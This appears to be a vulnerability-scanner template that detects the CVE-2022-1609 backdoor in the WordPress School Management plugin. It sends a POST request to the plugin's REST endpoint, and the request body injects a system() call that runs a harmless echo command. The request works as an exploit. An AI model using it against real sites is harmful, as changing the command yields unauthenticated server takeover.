id: CVE-2022-1609

info:
  name: The School Management < 9.9.7 - Unauthenticated RCE via REST api
  author: For3stCo1d
  severity: critical
  reference:
    - https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1609
  metadata:
    verified: false
  tags: cve2022,wordpress,rce,cve,wp,backdoor

variables:
  cmd: "echo CVE-2022-1609 | rev"

requests:
  - raw:
      - |
        POST /wp-json/am-member/license HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        blowfish=1&blowf=system('{{cmd}}');

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '9061-2202-EVC'